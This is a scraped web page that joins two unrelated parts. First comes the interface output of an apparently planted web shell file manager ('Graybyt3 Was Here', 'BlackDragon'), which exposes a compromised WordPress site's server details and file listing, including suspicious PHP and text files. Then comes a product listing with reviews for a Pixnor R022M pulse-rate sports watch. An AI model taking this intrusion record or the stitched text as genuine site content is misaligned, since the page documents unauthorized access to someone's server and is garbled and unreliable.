Graybyt3 Was Here

 Linux rebec 6.1.64 #1-NixOS SMP PREEMPT_DYNAMIC Tue Nov 28 17:07:23 UTC 2023 x86_64
 Apache/2.4.58 (Unix)
 127.0.0.1

*ReClick For Close
File : BlackDragon /index.php
Name Type Size Owner/Group Permission Last Modified Actions
. dir - 1042/54 0755 2024-03-28 03:28:07
.well-known dir - 1042/54 0755 2021-09-28 03:24:00
5abc3 dir - 1042/54 0755 2024-03-26 12:40:46
doc dir - 1042/54 0755 2024-03-26 12:40:47
wp-admin dir - 1042/54 0755 2024-03-26 12:40:47
wp-content dir - 1042/54 0755 2024-03-28 08:38:00
wp-include dir - 1042/54 0755 2024-03-28 03:31:13
wp-includes dir - 1042/54 0755 2024-03-26 12:40:47
.htaccess text/plain 614 B 1042/54 0555 2021-12-31 03:28:07
Alyce text/plain 2.58 KB 1042/54 0644 2024-03-22 11:10:49
Linnie text/plain 389 B 1042/54 0644 2024-03-24 07:27:01
Ophelia text/plain 483 B 1042/54 0644 2024-03-25 10:01:48
Philip Braddockr text/plain 851 B 1042/54 0644 2024-03-27 11:42:23
ProdvigenieST text/plain 3.05 KB 1042/54 0644 2024-03-23 12:17:19
Robertvag text/plain 688 B 1042/54 0644 2024-03-23 04:50:32
Yanira text/plain 580 B 1042/54 0644 2024-03-23 07:55:56
admin.php text/x-php 18.79 KB 1042/54 0444 2022-02-02 12:40:47
defaults.php text/x-php 145.9 KB 1042/54 0444 2022-03-06 12:40:47
hsduih.php text/x-php 306 B 1042/54 0644 2024-03-25 05:43:47
index.php text/x-php 13.78 KB 1042/54 0444 2021-09-30 12:40:47
index.php0 text/x-php 3.78 KB 1042/54 0644 2022-01-13 12:40:46
install.php text/x-php 70.4 KB 1042/54 0444 2022-04-24 12:40:47
license.txt text/plain 19.45 KB 1042/54 0644 2023-11-28 02:22:04
php.ini text/plain 78 B 1042/54 0644 2024-03-20 11:39:04
randkeyword.php text/x-php 11.67 KB 1042/54 0644 2024-03-28 06:16:34
readme.html text/html 7.23 KB 1042/54 0644 2024-01-31 06:10:44
robots.txt text/plain 494 B 1042/54 0444 2021-09-16 12:40:47
ronaldEreby text/plain 1.04 KB 1042/54 0644 2024-03-26 10:20:03
shop.php text/x-php 9.97 KB 1042/54 0444 2022-08-19 12:40:47
wp-activate.php text/x-php 7.04 KB 1042/54 0644 2023-11-28 02:22:04
wp-blog-header.php text/x-php 351 B 1042/54 0644 2021-07-05 08:40:59
wp-comments-post.php text/x-php 2.27 KB 1042/54 0644 2023-11-28 02:22:04
wp-config-sample.php text/x-php 2.94 KB 1042/54 0644 2023-04-24 09:35:41
wp-config.php text/x-php 3.83 KB 1042/54 0400 2022-04-13 08:17:51
wp-cron.php text/x-php 5.51 KB 1042/54 0644 2023-11-28 02:22:04
wp-links-opml.php text/x-php 2.44 KB 1042/54 0644 2023-04-24 09:35:41
wp-load.php text/x-php 3.83 KB 1042/54 0644 2023-11-28 02:22:04
wp-login.php text/x-php 49.73 KB 1042/54 0644 2024-01-31 06:10:44
wp-mail.php text/x-php 8.33 KB 1042/54 0644 2023-11-28 02:22:04
wp-settings.php text/x-php 25.79 KB 1042/54 0644 2023-11-28 02:22:04
wp-signup.php text/x-php 33.58 KB 1042/54 0644 2023-11-28 02:22:03
wp-trackback.php text/x-php 4.77 KB 1042/54 0644 2023-11-28 02:22:03
xmlrpc.php text/x-php 3.08 KB 1042/54 0644 2023-11-28 02:22:03
zpanel-v2.0.zip text/plain 19.47 KB 1042/54 0444 2022-05-13 12:40:47
zvc-tabs6.zip text/plain 26.98 KB 1042/54 0444 2022-06-09 12:40:47
© BlackDragon
Pixnor R022M Sports Pulse Rate Monitor Calorie Counter Digital Wrist Watch with Alarm /Calendar /Stopwatch (Grey) – Fitness Technologies

Pixnor R022M Sports Pulse Rate Monitor Calorie Counter Digital Wrist Watch with Alarm /Calendar /Stopwatch (Grey)


– Model: R022M.
– Watch case color: mainly grey.
– Material: hard plastic (watch case), soft rubber (watch band) and stainless steel (back cover).
– Unisex design, suitable for men and women to wear.
– 100% brand new and high quality Sports Heart Pulse Rate Monitor Calorie Counter Digital Wrist Watch.
– Heart Pulse Rate Monitor:
it adopts infrared sensor and is combined with the human body blood flow volume to achieve the pulse signal transmission, to measure the heart beat pulse rate.
– Calorie Counter:
For the first time use, please input your personal physical data including your age, weight and gender into the wrist watch. When you start to do exerices,
start the built-in counter in the watch. It can count your sporting time and the calories burned after your exerice after exerices.
– Digital Wrist Watch:
1. Synchronously display time (24-hours format) and calendar.
2. Daily alarm with hourly chime.
3. Chronograph stopwatch function.
– Precise time and keep good time.
– Stainless steel back cover.
– Powered by 1 * CR2032 cell battery (included).
– Equipped with a soft rubber watch band for comfortable to wear.
– Especially suitable for outdoor sports use.

Package included:
1 * R022M Sports Pulse Rate Monitor Calorie Counter Digital Wrist Watch with Alarm /Calendar /Stopwatch (Grey)

$ 10.59



Customer Reviews


4 of 4 people found the following review helpful
4.0 out of 5 stars
Decent Sports Watch With A Couple Quirks, September 6, 2014
By 
Darren O'Neill (Chicago, IL) - See all my reviews
(TOP 500 REVIEWER)
  

This review is from: Pixnor R022M Sports Pulse Rate Monitor Calorie Counter Digital Wrist Watch with Alarm /Calendar /Stopwatch (Grey) (Sports)
This is a pretty basic digital watch with a couple cool added features. The thing that I like the most is the heart rate monitor using the little sensor on the front of the watch. It's a little clunky, you have to hit mode and select heart rate and then hit the set button for two seconds and then put your fingertip lightly on the sensor but it's convenient having the capability in a watch rather than carrying around a pulse monitor that clips on your finger.

The watch is fairly large, and being a guy that is 6'6" and over 250lbs I find it to be an acceptable size but smaller folks might not like the size. The display is easy to read and the time / alarm features work as they should. The whole "calories burned" feature is nothing more than a guess using your current pulse rate and a timer of how long you exercised and shouldn't be taken too seriously. Pretty much all exercise equipment that tries to determine calories burned gets it wrong but at least this watch lets you input your gender and weight to try and be at least a bit more accurate.

Overall there's a lot to like about this watch for the price. I like being able to time my workouts, especially when using a variety of machines and exercises, so I know exactly how long I've been exercising. I like the heart rate monitor feature and would have loved the feature had they implemented a one button system to get to the monitor functionality. For the price this is a decent choice for a sports watch.

I was provided with a sample for the purposes of doing a fair and honest review.

0

Help other customers find the most helpful reviews 

Was this review helpful to you? Yes
No


3 of 3 people found the following review helpful
4.0 out of 5 stars
Pretty decent, April 12, 2014
By 

Verified Purchase(What's this?)
This review is from: Pixnor R022M Sports Pulse Rate Monitor Calorie Counter Digital Wrist Watch with Alarm /Calendar /Stopwatch (Grey) (Sports)
This is a pretty good watch for the price. The instructions are not that clear but after playing with it for a while you will figure it out. I would recommend for anyone who is need of using to track heart rate and calories for weight loss.

0

Help other customers find the most helpful reviews 

Was this review helpful to you? Yes
No


3 of 3 people found the following review helpful
1.0 out of 5 stars
Not a good product, March 4, 2014
Verified Purchase(What's this?)
This review is from: Pixnor R022M Sports Pulse Rate Monitor Calorie Counter Digital Wrist Watch with Alarm /Calendar /Stopwatch (Grey) (Sports)
It stopped working and always said there was an "error" after only having for a week. Glad I didn't pay a lot for it.

0

Help other customers find the most helpful reviews 

Was this review helpful to you? Yes
No

Share your thoughts with other customers:

 See all 15 customer reviews...


Fitness Technologies
Logo
Compare items
  • Total (0)
Compare
0
Shopping cart